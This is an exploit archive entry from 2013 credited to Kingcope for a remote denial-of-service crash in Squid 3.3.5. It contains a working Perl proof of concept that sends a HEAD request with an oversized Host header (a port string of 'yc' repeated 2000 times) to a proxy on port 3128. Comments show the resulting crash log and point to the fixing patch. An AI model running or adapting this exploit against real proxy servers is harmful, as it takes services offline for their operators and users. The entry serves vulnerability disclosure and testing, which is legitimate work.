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Squid 3.3.5 Denial Of Service

Squid 3.3.5 Denial Of Service
Posted Jul 16, 2013
Authored by Kingcope

Squid version 3.3.5 remote denial of service crash exploit.

tags | exploit, remote, denial of service
SHA-256 | 247867b58f499ec2f8cbd7f45618c22bc77cf0fc844f2741c42df41f4033fd68

Squid 3.3.5 Denial Of Service

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#Squid Crash PoC
#Copyright (C) Kingcope 2013
#tested against squid-3.3.5
#this seems to be the patch for the vulnerability:
#http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch
#The squid-cache service will respawn, looks like a kind of assert exception:
#2013/07/15 20:48:36 kid1| Closing HTTP port 0.0.0.0:3128
#2013/07/15 20:48:36 kid1| storeDirWriteCleanLogs: Starting...
#2013/07/15 20:48:36 kid1| Finished. Wrote 0 entries.
#2013/07/15 20:48:36 kid1| Took 0.00 seconds ( 0.00 entries/sec).
#FATAL: Bungled (null) line 9: snmp_access deny all
#Squid Cache (Version 3.2.11): Terminated abnormally.
#CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys
#Maximum Resident Size: 33312 KB
#Page faults with physical i/o: 0
#Memory usage for squid via mallinfo():
# total space in arena: 4100 KB
# Ordinary blocks: 4046 KB 7 blks
# Small blocks: 0 KB 0 blks
# Holding blocks: 564 KB 2 blks
# Free Small blocks: 0 KB
# Free Ordinary blocks: 53 KB
# Total in use: 4610 KB 112%
# Total free: 53 KB 1%
#2013/07/15 20:48:39 kid1| Starting Squid Cache version 3.2.11 for
i686-pc-linux-gnu...
#2013/07/15 20:48:39 kid1| Process ID 2990

use IO::Socket;

my $sock = IO::Socket::INET->new(PeerAddr => '192.168.27.146',
PeerPort => '3128',
Proto => 'tcp');
$a = "yc" x 2000;
print $sock "HEAD http://yahoo.com/ HTTP/1.1\r\nHost: yahoo.com:$a\r\n\r\n";
while(<$sock>) {
print;
}
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